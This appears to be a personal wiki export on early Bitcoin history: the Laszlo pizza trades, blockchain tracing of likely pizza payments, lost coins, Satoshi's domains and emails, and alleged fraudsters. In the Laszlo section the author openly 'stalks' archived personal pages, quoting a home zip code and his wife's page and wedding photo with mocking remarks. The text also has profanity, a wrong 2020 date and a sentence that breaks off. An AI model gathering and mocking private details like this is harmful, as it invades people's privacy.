{parent=First mentions of bitcoin on}

= First mentions of bitcoin on Reddit
{parent=First mentions of bitcoin on}

= First mentions of bitcoin on YouTube
{parent=First mentions of bitcoin on}

= First mentions of bitcoin on public television
{parent=First mentions of bitcoin on}

https://twitter.com/pete_rizzo_/status/1746866155023671412

= Laszlo's pizzas
{c}
{parent=History of Bitcoin}
{title2=2010-05-18}
{wiki}

= Laszlo Hanyecz
{c}
{synonym}
{title2}

On May 19, 2020, Lazlo announced on the <Bitcoin Forum> at: https://bitcointalk.org/index.php?topic=137.msg1195
\Q[
I'll pay 10,000 <bitcoins> for a couple of pizzas.. like maybe 2 large ones so I have some left over for the next day.  I like having left over pizza to nibble on later.  You can make the pizza yourself and bring it to my house or order it for me from a delivery place, but what I'm aiming for is getting food delivered in exchange for bitcoins where I don't have to order or prepare it myself, kind of like ordering a 'breakfast platter' at a hotel or something, they just bring you something to eat and you're happy!

I like things like onions, peppers, sausage, mushrooms, tomatoes, pepperoni, etc.. just standard stuff no weird fish topping or anything like that.  I also like regular cheese pizzas which may be cheaper to prepare or otherwise acquire.

If you're interested please let me know and we can work out a deal.
]
<Ciro Santilli> remembers his father always telling him how when Ciro was small, he would try to grasp the value of money by converting it into how many pizzas he could buy. Well, at least he was not alone.

User bitcoin2paysafe then asks the fundamental practical question:
\Q[In which country do you live?]
and Lazslo replies:
\Q[
Jacksonville, Florida\br
zip code 32224\br
United States
]

User ender_x then points out afterward:
\Q[10,000... Thats quite a bit.. you could sell those on https://www.bitcoinmarket.com/ for \$41 USD right now..]
so it is a slightly bad deal even then!

Three days later Lazlo's asks again on the thread:
\Q[So nobody wants to buy me pizza?  Is the bitcoin amount I'm offering too low?]
and one day later he confirms that the sale was made  without naming the buyer:
\Q[
I just want to report that I successfully traded 10,000 bitcoins for pizza

Pictures: http://heliacal.net/~solar/bitcoin/pizza/

Thanks jercos!
]
where "jercos" is presumably the <Bitcoin Forum> username of the buyer. https://en.bitcoin.it/wiki/Jercos gives his identity as <Jeremy Sturdivant>.

https://www.thesun.co.uk/news/15049566/other-bitcoin-pizza-jeremy-sturdivant-fortune-hanyecz/ mentions Jeremy sold too early however:
\Q[The cryptocash disappeared when Sturdivant used it to "cover expenses" while travelling the US with his girlfriend.]

\Image[https://web.archive.org/web/20200806030121im_/http://heliacal.net/~solar/bitcoin/pizza/.t/IMG_0984.small.jpg]
{source=https://web.archive.org/web/20211219130004/http://heliacal.net/~solar/bitcoin/pizza/}
{title=Laszlo's Papa's Specialty pizzas}
{description=The most famous of <Laszlo's pizzas>, originally published on his website: https://web.archive.org/web/20210217220810/http://heliacal.net/~solar/bitcoin/lightning-pizza/[].}

\Image[https://web.archive.org/web/20211016070745im_/https://www.thesun.co.uk/wp-content/uploads/2021/05/NINTCHDBPICT000652509197-1.jpg?w=620]
{title=Laszlo's secondary pizza event}
{description=https://web.archive.org/web/20210217220810/http://heliacal.net/~solar/bitcoin/lightning-pizza/ documents another pizza event, as we have different pizza boxes from the most widely known one: https://web.archive.org/web/20211219130004/http://heliacal.net/~solar/bitcoin/pizza/ Only image thumbs are archived however. https://web.archive.org/web/20211016070745/https://www.thesun.co.uk/news/15049566/other-bitcoin-pizza-jeremy-sturdivant-fortune-hanyecz/ however shows a large version that The Sun got their hands on before the takedown.}
{source=https://www.thesun.co.uk/news/15049566/other-bitcoin-pizza-jeremy-sturdivant-fortune-hanyecz}

\Image[https://web.archive.org/web/20211016070745im_/https://www.thesun.co.uk/wp-content/uploads/2021/05/COMP-CFP-BITCOIN-PIZZA.jpg?w=660]
{title=<Jeremy Sturdivant>}
{disambiguate=pizza}
{source=https://www.thesun.co.uk/news/15049566/other-bitcoin-pizza-jeremy-sturdivant-fortune-hanyecz/}

heliacal.net is presumably his personal website? But is was down as of 2023. But we have <Wayback Machine> archives of course :-) Latest working one of that page 2021: https://web.archive.org/web/20211219130004/http://heliacal.net/~solar/bitcoin/pizza/ And some other stalking:
* https://web.archive.org/web/20090812075412/http://heliacal.net/pmwiki
  \Q[Welcome to heliacal.net. This is the personal site of Laszlo Hanyecz. It's a place to hold various things I have an interest in or am working on.]
* https://web.archive.org/web/20091031044500/http://heliacal.net/pmwiki/Main/Cats he's a mega cat owner
* At https://web.archive.org/web/20091031044606/http://heliacal.net/pmwiki/Main/Jackie we get to stalk his wife a bit:
  \Q[On March 10, 2007 I became the husband of the most wonderful woman in the world. We live in a nice house in Jacksonville, FL next to the University of North Florida.]
  \Image[https://web.archive.org/web/20190619235620im_/http://heliacal.net/~solar/images/wedding/posed/.t/AB3_1081.small.jpg]
  {title=Laszlo Hanyecz's wedding picture}
  {source=https://web.archive.org/web/20091031044606/http://heliacal.net/pmwiki/Main/Jackie}
  {description=They are actually both physically rather similar, quite short and plumpy. Too much pizza maybe? Just kidding, they look like great match!}
  {height=600}
* https://web.archive.org/web/20030805153714/http://heliacal.net/~solar/ that home has some files, partly early piracy
Laszlo is truly, literally, the nerd who got very very very lucky!!!

TODO <Who bought Laszlo Hanyecz pizza?>!!!

On June 12, 2010 Laszlo re-offers:
\Q[
This is an open offer by the way.. I will trade 10,000 <BTC> for 2 of these pizzas any time as long as I have the funds (I usually have plenty).  If anyone is interested please let me know.  The exchange is favorable for anyone who does it because the 2 pizzas are only about 25 dollars total, maybe 30 if you give the guy a nice tip.  If you get me the upgraded extra large ones or something, I can throw in some more bitcoins, just let me know and we'll work something out.

My 1 year old daughter really enjoys pizza too!  She just smears it all over her face if you give her a whole slice, but she does eventually manage to get most of it in her mouth (minus a few loose toppings of course).
]
and on August 4 user MoonShadow takes him up:
\Q[An open offer, you say?  It's been a while since you had some pizza.  Feeling a craving, Laszlo?]
but finally Laszlo withdrawls the offer:
\Q[Well I didn't expect this to be so popular but I can't really afford to keep doing it since I can't generate thousands of coins a day anymore. Thanks to everyone who bought me pizza already but I'm kind of holding off on doing any more of these for now.]
so we understand that the sales happened multiple times!!! Also, we understand that he was probably a miner.

TODO list all of the potential sales.

Bibliography:
* https://en.bitcoin.it/wiki/Laszlo_Hanyecz

= Jeremy Sturdivant
{c}
{parent=Laszlo's pizzas}

= jercos
{synonym}
{title2}

https://en.bitcoin.it/wiki/Jercos mentions:
\Q[According to jercos the transaction was finalized over IRC chats. Jercos was 18 at the time of the transaction.]
https://www.bitcoinwhoswho.com/jercosinterview is the source. Persumably the contact was initiated via the private messaging feature of the <Bitcoin Forum>.

\Image[https://web.archive.org/web/20211016070745im_/https://www.thesun.co.uk/wp-content/uploads/2021/05/COMP-CFP-BITCOIN-PIZZA.jpg?w=660]
{title=Jeremy Sturdivant}
{source=https://www.thesun.co.uk/news/15049566/other-bitcoin-pizza-jeremy-sturdivant-fortune-hanyecz/}

Bibliography:
https://en.bitcoin.it/wiki/Jercos

= Who bought Laszlo Hanyecz pizza?
{parent=Laszlo's pizzas}

TODO who bought the Bitcoins? Is anyone else besides <Jeremy Sturdivant>

The original forum thread https://bitcointalk.org/index.php?topic=137.msg1195 suggests multiple purchases were made, until he had to withdrawl the offer. Perhaps an easier question is how many pizzas he got in the first place.

https://www.reddit.com/r/Bitcoin/comments/13on6px/comment/jl55025/?utm_source=reddit&utm_medium=web2x&context=3 mentions without source:
\Q[I know. Laszlo Hanyecz estimates that he spent 100,000 <BTC> on pizza in 2010. Laszlo is the man that invented <GPU> mining and he mined well over 100,000 <BTC>.]
One source is: https://bitcoinmagazine.com/culture/the-man-behind-bitcoin-pizza-day-is-more-than-a-meme-hes-a-mining-pioneer

Related thread from May 2023: https://bitcointalk.org/index.php?topic=5453728.msg62286606#msg62286606 "Did Laszlo Hanyecz exchange 40000 <BTC> for 8 pizzas, not 10000 <BTC> for 2 pizzas?" but their Googling is so bad no one had found the 100,000 quote before Ciro.

As per https://bitcoin.stackexchange.com/questions/113831/searching-the-blockchain-based-on-transaction-amount-and-or-date at https://blockchair.com/bitcoin/outputs?s=time(asc)&q=value(1000000000000),time(2010-05-18..2010-08-05) we can list all the transactions made between the offer and withdrawal dates for value exactly 10k. There are only about 20 of them, and including someone the 22nd of May, so it is extremely likely that this will contain the hits. No repeated recipients however, so it is hard to progress with more advanced analytics tools

Some of the transactions are:
* https://www.blockchain.com/explorer/transactions/btc/49d2adb6e476fa46d8357babf78b1b501fd39e177ac7833124b3f67b17c40c2a[49d2adb6e476fa46d8357babf78b1b501fd39e177ac7833124b3f67b17c40c2a] (22 May 2010 06:17:59 GMT+1). This one has some <Google> mentions:
  * https://github.com/bitcoinbook/bitcoinbook/blob/6c472dd00b649b18b6ca6bbcc8ba23775619ce08/appdx-pycoin.asciidoc
  * https://github.com/richardkiss/pycoin/blob/367a58e25aacf85549a7335f7607ba8a53727c81/COMMAND-LINE-TOOLS.md
  This is a highly unusual transaction from a single address https://www.blockchain.com/explorer/addresses/btc/17WFx2GQZUmh6Up2NDNCEDk3deYomdNCfk[17WFx2GQZUmh6Up2NDNCEDk3deYomdNCfk] to a single address https://www.blockchain.com/explorer/addresses/btc/1CZDM6oTttND6WPdt3D6bydo7DYKzd9Qik[1CZDM6oTttND6WPdt3D6bydo7DYKzd9Qik] for the exact value with no <change (Bitcoin)>.

  By digging a bit, we see that the input comes from exactly 20 outputs, e.g. https://www.blockchain.com/explorer/addresses/btc/1E43t1VCc3Q3STKauEiUoVqLbT81XT67xj[1E43t1VCc3Q3STKauEiUoVqLbT81XT67xj], each of which is a block reward of 50 BTC, the <Bitcoin halvening>[reward value at those early times], thus satisfactorily explaining how the exact 10k value was obtained without <change (Bitcoin)>. Because we know that Laszlo was a big <GPU> miner, it is extremelly likely that this transaction was made by him.
* https://www.blockchain.com/explorer/transactions/btc/a1075db55d416d3ca199f55b6084e2115b9345e16c5cf302fc80e9d5fbf5d48d[a1075db55d416d3ca199f55b6084e2115b9345e16c5cf302fc80e9d5fbf5d48d] (22 May 2010 07:16:31 GMT+1) also has several <Google> mentions, e.g.:
  * https://tokenview.medium.com/bitcoin-pizza-day-the-story-of-buying-pizza-with-10-000-btc-54cd0896f9f1

  https://www.blockchain.com/explorer/transactions/btc/a1075db55d416d3ca199f55b6084e2115b9345e16c5cf302fc80e9d5fbf5d48d even specially marks it "Bitcoin Pizza" and "Notable". Furthermore, the receiving address https://www.blockchain.com/explorer/addresses/btc/17SkEw2md5avVNyYgj6RiXuQKNwkXaxFyQ[17SkEw2md5avVNyYgj6RiXuQKNwkXaxFyQ] is even marked as verified an as belonging to <Jeremy Sturdivant>.

  Furthermore this also shows us how Jeremy then transferred about half of Bitcoins 10 minutes later, but we can't know if it was to his own accounts or to cash out.

  The nature of this transaction is very different from the previous one. It uses a bunch of inputs to a single address https://www.blockchain.com/explorer/addresses/btc/1XPTgDRhN8RFnzniWCddobD9iKZatrvH4[1XPTgDRhN8RFnzniWCddobD9iKZatrvH4]. 1XPTgDRhN8RFnzniWCddobD9iKZatrvH4 contains a mixture of regular small inputs, but also a bunch of block rewards e.g. https://www.blockchain.com/explorer/addresses/btc/1MUoh2nJudSDdKu9NkcevaCG1Qe3nZHWFZ[], thus also clearly indicating Lsazlo ownership.
8 https://www.blockchain.com/explorer/transactions/btc/d1a429c05868f9be6cf312498b77f4e81c2d4db3268b007b6b80716fb56a35ad[d1a429c05868f9be6cf312498b77f4e81c2d4db3268b007b6b80716fb56a35ad] (29 May) is a common looking transaction with a single input from https://www.blockchain.com/explorer/addresses/btc/1Bc7T7ygkKKvcburmEg14hJKBrLD7BXCkX[1Bc7T7ygkKKvcburmEg14hJKBrLD7BXCkX] and two outputs, one likely being the change to https://www.blockchain.com/explorer/addresses/btc/1GH4dRUAagj67XVjr4TV6J9RFNmGYsLe7c[1GH4dRUAagj67XVjr4TV6J9RFNmGYsLe7c] and the other the actual value to https://www.blockchain.com/explorer/addresses/btc/138eoqfNcEdeU9EG9CKfAxnYYz62uHRNrA[138eoqfNcEdeU9EG9CKfAxnYYz62uHRNrA].

  The input chain is complex, but it does contain one block reward on the third level: https://www.blockchain.com/explorer/addresses/btc/17PBFeDzks3LzBTyt6bAMATNhowrvx5kBw[17PBFeDzks3LzBTyt6bAMATNhowrvx5kBw] + 79 rewards 4th level at https://www.blockchain.com/explorer/transactions/btc/045795627ca29ec72a94c23a65ee775ea1949d60b6fba0938b75e1cfe1e6643e[045795627ca29ec72a94c23a65ee775ea1949d60b6fba0938b75e1cfe1e6643e].
* https://www.blockchain.com/btc/tx/d3498960e5f73031f726cb878382cc696938810fa43f918696cbf242afc9765e[d3498960e5f73031f726cb878382cc696938810fa43f918696cbf242afc9765e] (04 June): complex chain, unclear
* https://www.blockchain.com/explorer/transactions/btc/2ea2914c131b2798041a80c00c44081a3559233d69d8b367e4244e6b12096610[2ea2914c131b2798041a80c00c44081a3559233d69d8b367e4244e6b12096610] (10 June): single input/single output. Complex input, but has some 2nd order mines e.g. https://www.blockchain.com/explorer/transactions/btc/e6393f613ef12f5708fa511875b8ff5080f6c8864709f8d92bd99435826a9d0d[e6393f613ef12f5708fa511875b8ff5080f6c8864709f8d92bd99435826a9d0d]
* https://www.blockchain.com/explorer/transactions/btc/ea595789878b673776d0577cbc6063db611bb4e2954e226459d556995f547922[ea595789878b673776d0577cbc6063db611bb4e2954e226459d556995f547922] (24 June): single input/single output. Complex input, but has some 2nd order mines e.g. https://www.blockchain.com/explorer/transactions/btc/b9a0c2d24a744b79fe001a67468c456746b74e94a6ce68a2e5f80bf645d678b9[b9a0c2d24a744b79fe001a67468c456746b74e94a6ce68a2e5f80bf645d678b9]
* https://www.blockchain.com/explorer/transactions/btc/461f91a98bbe2f269d8af938039e185287761677f0418fcc8238c5f3dca72935[461f91a98bbe2f269d8af938039e185287761677f0418fcc8238c5f3dca72935] (02 Jul 2010 08:39:17 GMT+1): single 20k input to two 10k outputs. Did he get 2x two pizzas at once? Complex input.
* https://www.blockchain.com/explorer/transactions/btc/a47f927ca1adeeb4394200e8a37a9297b07e784a251569074a9fc2c04855560f[a47f927ca1adeeb4394200e8a37a9297b07e784a251569074a9fc2c04855560f] (02 Jul 2010 09:07:35 GMT+1): too close in time to the previous one, unless he was having a massive pizza party with invitees!
* https://www.blockchain.com/explorer/transactions/btc/77036fa2ac75212be1ce93e8e1008d5cb2bcbb51aa560a5fe29c9c1423bbd00e[77036fa2ac75212be1ce93e8e1008d5cb2bcbb51aa560a5fe29c9c1423bbd00e] (02 Jul 2010 09:14:33 GMT+1): the party grows even larger

= Lost Bitcoin case
{c}
{parent=History of Bitcoin}

= James Howells
{c}
{parent=Lost Bitcoin case}
{title2=8000 BTC}
{title2=Newport City, Wales}

* https://www.linkedin.com/in/howelzy/
  \Q[Might know a thing or two about landfills.]
  Epic.
* https://www.independent.co.uk/news/uk/home-news/lost-bitcoin-crypto-james-howells-b2406517.html
  \Q[
  The bizarre saga started in 2013 when Mr Howells, put the hardware from an old laptop that contained 8,000 bitcoins, the world’s leading cryptocurrency, in a black bag in his hallway.

  "I was doing a clear-out in my office and put a lot of items into a bag which I then placed at the front door of my house," he said. "I woke up the next morning and my ex-partner had already taken the bags to the landfill site; she thought she was doing me a favour, it wasn’t her fault."
  ]
* https://www.bbc.co.uk/news/uk-wales-67297013

= Stefan Thomas
{c}
{parent=Lost Bitcoin case}
{title2=7002 BTC}
{title2=IronKey 2 with password attempts left}

https://www.nytimes.com/2021/01/12/technology/bitcoin-passwords-wallets-fortunes.html
\Q[As for his lost password and inaccessible Bitcoin, Mr. Thomas has put the IronKey in a secure facility - he won’t say where - in case cryptographers come up with new ways of cracking complex passwords. Keeping it far away helps him try not to think about it, he said.]
\Q[“I would just lay in bed and think about it," Mr. Thomas said.]

\Video[https://www.youtube.com/watch?v=Um63OQz3bjo]
{title=What is Bitcoin? (v1) by WeUseCoins (2011)}
{description=This is the video that <Stefan Thomas> as paid 7,002 <Bitcoins> to make back in 2011.}

= Bitcoin community
{c}
{parent=Bitcoin}

= Bitcoin Forum
{c}
{parent=Bitcoin community}

= bitcointalk.org
{title2}
{synonym}

https://bitcointalk.org

Good article about its history: https://en.bitcoin.it/wiki/BitcoinTalk

Founded by <Satoshi Nakamoto>, making it the earliest and one of the most important <Bitcoin> communities. TODO official in any way? Who founded it?

Instance of <#Simple Machines Forum>, an <open source>, <PHP>-based forum system.

Some notable appearances:
* in 2010, it is where <Laszlo's pizzas> offer was announced
* it was used e.g. on the <Mt. Gox> investigation: https://youtu.be/tJ-TsrK6SuY?t=2018
* Jimmy Zhong's investigation: https://youtu.be/pxvd1YOMGxU?t=1004

= Bitcoin IRC channel
{c}
{parent=Bitcoin community}
{tag=IRC}

A lot of important development discussion happened in those channels: https://en.bitcoin.it/wiki/IRC_channels

At https://www.reddit.com/r/Bitcoin/comments/5pvp6m/is_there_a_log_for_the_bitcoin_irc_channel/ "Is there a log for the #bitcoin IRC channel?" <Luke Dashjr> comments:
\Q[No, it is meant to be private without logging allowed.]
User "midmagic" (TODO identify) then comments:
\Q[The \#bitcoin channel on Freenode is "officially unlogged." That means we officially don't publish the logs anywhere, and if we find that logs are published somewhere, we ask that they be taken down]

Some <IRC> logs were dumped into the <Bitcoin blockchain> at: <Cool data embedded in the Bitcoin blockchain/IRC log dumps> where they cannot be deleted.

= Bitcoin Foundation
{c}
{parent=Bitcoin community}
{wiki}

= Bitcoin developer
{c}
{parent=Bitcoin community}
{wiki}

= Gavin Andresen
{c}
{parent=Bitcoin developer}
{wiki}

= Luke Dashjr
{c}
{parent=Bitcoin developer}
{wiki}

Accounts:
* https://twitter.com/lukedashjr on <Twitter>. Status as of January 2024:
  \Q[father of 10 children]
  This dude doesn't <fuck> around. Or perhaps he only <fucks> around. Either way.
* https://www.linkedin.com/in/lukedashjr/ on <LinkedIn>
* https://bitcointalk.org/index.php?action=profile;u=3318 on <bitcointalk.org>
* https://www.reddit.com/user/luke-jr/
* https://github.com/sponsors/luke-jr
* freenode username: `luke-jr`, mentioned e.g. at https://bitcointalk.org/index.php?topic=38007.0 from <Cool data embedded in the Bitcoin blockchain/Prayer wars>{full}

Author of the prayer side of the <Cool data embedded in the Bitcoin blockchain/Prayer wars>.

Creator of <Eligius pool> <Bitcoin mining pool>.

According to <LinkedIn> he studied at the https://en.wikipedia.org/wiki/Benedictine_College[Benedictine College in Kansas].

TODO is his real birthname "Luke Dash Jr."?

Apparently he had his coins stolen in January 2023, then worth \$3.5m: https://blog.cryptostars.is/luke-dashjr-an-original-bitcoin-developer-loses-all-his-btc-88421c395ce5p[]...

https://www.reddit.com/r/Buttcoin/comments/4936kw/lukejr_is_a_seriously_a_super_crazy_person_quotes/ "Luke-Jr is a seriously a super crazy person quotes gigathread." (2016) on <Reddit>. Apparently he has some fun views of life.

\Image[https://web.archive.org/web/20230603152934im_/https://www.weusecoins.com/images/luke-dashjr.png]
{source=https://www.weusecoins.com/luke-dashjr/}

= Satoshi Nakamoto
{c}
{parent=Bitcoin developer}
{wiki}

= Satoshi
{synonym}

<bitcoin.org> registration: 2008-08-18

2008-08-22: first private contact to <Wei Dai> email. Reproduced at https://www.gwern.net/docs/bitcoin/2008-nakamoto[] on <gwern.net> from address `satoshi@anonymousspeech.com`. Email provider shutting down entirely on 2021-09-30 as per https://archive.ph/wip/RRNKx[], homepage now juts contains useless Bitcoin stuff.

First public <Bitcoin whitepaper> announcement: 2008-10-31 https://www.metzdowd.com/pipermail/cryptography/2008-October/014810.html linking to http://www.bitcoin.org/bitcoin.pdf[], email sent from from <satoshi@vistomail.com>. Claimed one year and a half development time. Provider apparently closed in 2014: https://www.reddit.com/r/Bitcoin/comments/3h80mi/vistomailcom_closed_and_domain_changed_owner_in/[], as of 2021 just reads:
\Q[Once upon a time a man paid me a visit in cyberspace, at this very domain. He planted a seed in our heads that would become the path we are walking today.]

Replies in November: https://www.metzdowd.com/pipermail/cryptography/2008-November/thread.html#14863 under satoshi@anonymousspeech.com claims source code shared privately by request at that point.

First open source release: 9 January 2009. Announcement: https://www.metzdowd.com/pipermail/cryptography/2009-January/014994.html "Windows only for now. Open source C++ code is included" Arghhhhhh how can those libertarians use <Microsoft Windows>??? Had a <GUI> already.

2011-04-23 Satoshi sent his last email ever, it was to Martti Malmi. https://www.nytimes.com/2015/05/17/business/decoding-the-enigma-of-satoshi-nakamoto-and-the-birth-of-bitcoin.html mentions:
\Q[May 2011 was also the last time Satoshi communicated privately with other Bitcoin contributors. In an email that month to Martti Malmi, one of the earliest participants, Satoshi wrote, "I've moved on to other things and probably won't be around in the future."]

How Satoshi hid his mining <IP address>:
* https://bitcoin.stackexchange.com/questions/91187/was-the-first-full-node-ip-address-satoshis-and-how-did-shim-hide-it

<Hal Finney>:
* Jan 11, 2009 https://twitter.com/halfin/status/1110302988 "Running Bitcoin"

= Satoshi Bitcoin address
{parent=Satoshi Nakamoto}

= Genesis block output address
{c}
{parent=Satoshi Bitcoin address}
{tag=Bitcoin address}

= 1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa
{synonym}
{title2}

* https://www.blockchain.com/explorer/addresses/btc/1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa
* https://www.reddit.com/r/Bitcoin/comments/16cpsol/someone_transferred_4_btc_to_satoshi_nakamotos/ "Someone transferred 4 <BTC> to <Satoshi Nakamoto>'s wallet."

= bitcoin.org
{c}
{parent=Satoshi Nakamoto}
{title2=2008-08-18}

https://bitcoin.org

Official <Bitcoin> domain registered by <Satoshi Nakamoto>.

Registration: 2008-08-18 by https://www.namecheap.com[], an <American> company. But using a privacy oriented registrar: https://bitcoin.stackexchange.com/questions/89532/how-did-nakamoto-untraceably-pay-for-registering-bitcoin-org It is unknown how he could have paid anonymously, so it seems likely that the true identity could be obtained by <law enforcement> if needed.

First archive 2009-01-31: https://web.archive.org/web/20090131115053/http://bitcoin.org/ Also from the archive history https://web.archive.org/web/20100701000000*/bitcoin.org[], things really started picking up on July 2010. This is almost certainly due to the opening of 

= First public announcement of Bitoin
{c}
{parent=Satoshi Nakamoto}
{title2=2008-10-31}

https://www.metzdowd.com/pipermail/cryptography/2008-October/014810.html

= Satoshi's email address
{c}
{parent=Satoshi Nakamoto}

= satoshin@gmx.com
{c}
{parent=Satoshi's email address}

One of <Satoshi's email addresses>, this one is given on the <Bitcoin whitepaper>.

= Satoshi's 2014 email hack
{parent=satoshin@gmx.com}

https://blog.bitmex.com/satoshis-2014-email-hack/

= satoshi@vistomail.com
{c}
{parent=Satoshi's email address}

One of <Satoshi's email addresses>, it's how he made the <first public announcement of Bitoin> on first public announcement of Bitcoin on 2008-10-31. 

At some point later on <vistomail.com> was discontinued and acquired by a super dodgy dude, <Alex Elbanna>, so it hasn't been Satoshi for a while.

= vistomail.com
{c}
{parent=satoshi@vistomail.com}

https://www.reddit.com/r/Bitcoin/comments/3h80mi/vistomailcom_closed_and_domain_changed_owner_in/

2023-11-17 https://bitcointalk.org/index.php?topic=5478677.0 "I Bought vistomail.com. Now What?" Restricted topic, but Google caught it: https://archive.ph/wip/dDxqi The message:
\Q[
I am dedicating the next few months, and perhaps even years, to researching Satoshi Nakamoto and the intricacies of blockchain technology. About four weeks ago, I came across vistomail.com for sale on afternic.com and decided to purchase it. I added vistomail.com to my proton.me account and configured it to catch all emails. As a result, numerous emails started flowing in. Subsequently, I connected satoshi@vistomail.com and discovered significant information that I am excited to share with you in the coming months.

To be clear, I want to emphasize that I am not Satoshi Nakamoto. My interest lies in understanding the future plans for Bitcoin and its impact on the world. I invite you to join me on this journey, contributing your knowledge to the collective understanding. I believe there is a possibility of uncovering the ultimate treasure, and I am eager to share it with all of you.

twitter @alexelbanna
]

2023-11-17, 06:46:25 PM. https://bitcointalk.org/index.php?topic=5474482.0 vistomail.com for sale,  Restricted topic, but Google caught it: https://archive.ph/wip/GARBy The message:
\Q[
Vistomail.com has a rich Bitcoin history with Satoshi Nakamoto, the creator of Bitcoin.

Email address: satoshi@vistomail.com

\$50,000 obo for vistomail.com.  Buy Now: https://www.afternic.com/listings/778206

How it would be of value:

You would open a proton.me account add domain vistomail.com. Then you create an address such as: satoshi@vistomail.com and the you can set the domain to a catch all address. All satoshi@vistomail.com emails will come into your inbox. All emails from @vistomail.com going to vistomail.com will now be in your inbox.

BUY NOW: https://www.afternic.com/listings/778206

See other domains Satoshi Nakamoto owned here: https://www.afternic.com/listings/778206

Michael Weber
Domain Registrar
mweber@dosidos.net
]

They updated the page to a more scammy one as of 2024: https://web.archive.org/web/20240310205138/https://www.vistomail.com/ mentioning https://x1coin.org[]. But still Alex no doubt: https://twitter.com/AlexElbanna/status/1763575552538001530 | https://github.com/bLeYeNk

As of 2024-04-03, it was parked again on <GoDaddy>, and emails were bouncing.

As of 2024-04-10, it was now a Ghost blogging intance still by Alex: https://www.vistomail.com/articles-coming-soon/ He added Ciro Santilli as a collaborator, but Ciro could only draft articles which Alex could then review. He allowed a cheeky link to <OurBigBook.com> in: https://archive.ph/8l6az epic. Let's see if it gives traffic!

https://www.vistomail.com/non-profits/ claims they were giving out grants via satoshin@nt-medic.com and provided address 1BCwUg3PsLK9wJK815RkmzSMdAnALNHu64

= Alex Elbanna
{parent=vistomail.com}
{tag=Fraudster}

* https://twitter.com/AlexElbanna
* https://www.linkedin.com/in/alex-elbanna/

Shady shady buyer of "vistomail.com".

He or someone with the same name is having some fun with the <SEC>: https://dockets.justia.com/docket/florida/flmdce/8:2023cv01638/416506 for "Securities Fraud".

The complaint: https://www.sec.gov/files/litigation/complaints/2023/comp25785.pdf[] (https://web.archive.org/web/20231218145545/https://www.sec.gov/files/litigation/complaints/2023/comp25785.pdf[archive]). Some pearls:
\Q[
41. Elbanna told investors several other lies to gain investors’ trust. These included his claim that he had served in the U.S. Marines, when in reality he was discharged after just fifteen days of their thirteen-week recruit training. Elbanna claimed that he had worked at the U.S. <National Security Agency> (“NSA”). He further claimed that the NSA was aware of and participating in the Digital World Exchange enterprise. All of these claims were false.

42. Perhaps most incredibly, after claiming that he had “been in blockchain technology since the beginning” and “in the cryptocurrency space almost since its inception” in the May 2018 and March 2019 Whitepapers, respectively, Elbanna told investors in a chat program in April 2019 that he “was one of the first 4 creators of BTC.” He went so far as to tell another investor that he was the pseudonymous inventor of bitcoin, <Satoshi Nakamoto> himself. These statements were also false. Elbanna later admitted that he was not involved in blockchain technology from its beginning, and that he “didn’t even really know much about crypto” in 2018, the year he launched the Digital World Exchange enterprise. 
]

https://www.law360.com/articles/1803299/bogus-nsa-worker-to-pay-sec-2-2m-in-crypto-scam-case says he had to pay \$2.2M to the <SEC>.

The documentary Bitconned from <Netflix> comes strongly to mind, https://www.imdb.com/title/tt30317302/[]. It is unbelieveable people would fall for that kind of thing, the founders are not even sophisticated. And on top of that he agrees to appear on a documentary!!! OMG.

\Image[https://speakerhub.com/speaker/alexander-elbanna]
{description=Source linked to form his Twitter account: https://web.archive.org/web/20240415144643if_/https://speakerhub.com/sites/default/files/styles/speakerhub_full_screen/public/user/gallery/2021/01/16/alexander-elbanna-gallery.jpg}
{source=https://speakerhub.com/speaker/alexander-elbanna}

= Satoshi Nakamoto candidate
{parent=Satoshi Nakamoto}

= Craig Steven Wright
{parent=Satoshi Nakamoto candidate}
{tag=Fraudster}
{wiki}

This dude actually managed to convince a brain-dead <British> court that he was satoshi and force a takedown of the <Bitcoin Whitepaper> from https://bitcoin.org/bitcoin.pdf where it had been for many years: https://coinmarketcap.com/academy/article/bitcoin-org-ordered-to-take-down-bitcoin-whitepaper-because-of-copyright-infringement The page now simply displays the plain text:
\Q[It takes advantage of the nature of information being easy to spread but hard to stifle. - <Satoshi Nakamoto>]

The mere thought that Satoshi would attempt to copyright takedown the <Bitcoin whitepaper>, and not be able to back his identidy with any cryptographic keys, makes one shrivel to the bones.

Also, kids, this is why you put a fucking <license> on everything you release to the public, and especially when doing so anonymously!!! A quick <CC BY-SA> on that paper would have prevented all this bullshit.

The existence of this outrageous fraudster has had two good effects on the world however it must be said:
* the release of <Adam Back> and <Martti Malmi> early email history with Satoshi: https://www.forbes.com/sites/digital-assets/2024/02/23/new-emails-reveal-staggering-clues-to-the-mystery-of-bitcoin-creator-satoshi-nakamoto
* the <memes>: <Craig Steven Wright memes>

Timeline:
* 2015-12-08 Wired article claims he may be Satoshi: https://www.wired.com/2015/12/bitcoins-creator-satoshi-nakamoto-is-probably-this-unknown-australian-genius/[]. A few days later, evidence of foul play emerged, and on 2019-04-30 Wired retracted the article altogether
* 2016-05-02 publicly claims he is Satoshi https://www.timesofisrael.com/australian-entrepreneur-craig-wright-says-he-created-bitcoin/

Social media:
* https://twitter.com/Dr_CSWright
* <CoinGeek>

Interesting
* https://www.reddit.com/r/Bitcoin/comments/4i7k9a/strange_edits_on_craig_wrights_wikipedia_page/ "Strange edits on Craig Wright's Wikipedia page made two days before the revelation, from an IP address in Barbados (possibly made by Craig himself?)"

= Craig Steven Wright meme
{c}
{parent=Craig Steven Wright}
{tag=Meme}

TODO find the Shroud of Turin one.

* https://twitter.com/digitalnaut/status/1757464079076098212 vampire killed by cross of cryptographic evidence 

= Craig Steven Wright is the Billy Mitchell of Bitcoin
{c}
{parent=Craig Steven Wright}

<Billy Mitchell (gamer)> comes strongly to mind!
* https://www.reddit.com/r/bsv/comments/19bu4qi/both_these_posts_compare_billy_mitchell_and_craig/
* https://twitter.com/digitalnaut/status/1645477537819000834
They even look similarly fraudulent.

= CoinGeek
{c}
{parent=Craig Steven Wright}
{title2=Pro Craig Steven Wright media}

https://news.ycombinator.com/item?id=14691623
\Q[CoinGeek is either run by or paid for by Craig Wright. You can see that all of the articles are either strongly in his favor or in line with his recent opinions.]

= Adam Back
{c}
{parent=Satoshi Nakamoto}
{wiki}

= Hashcash
{c}
{parent=Adam Back}
{wiki}

= David Chaum
{c}
{parent=Satoshi Nakamoto}
{wiki}

= ecash
{c}
{parent=David Chaum}
{wiki}

= Hal Finney
{disambiguate=computer scientist}
{c}
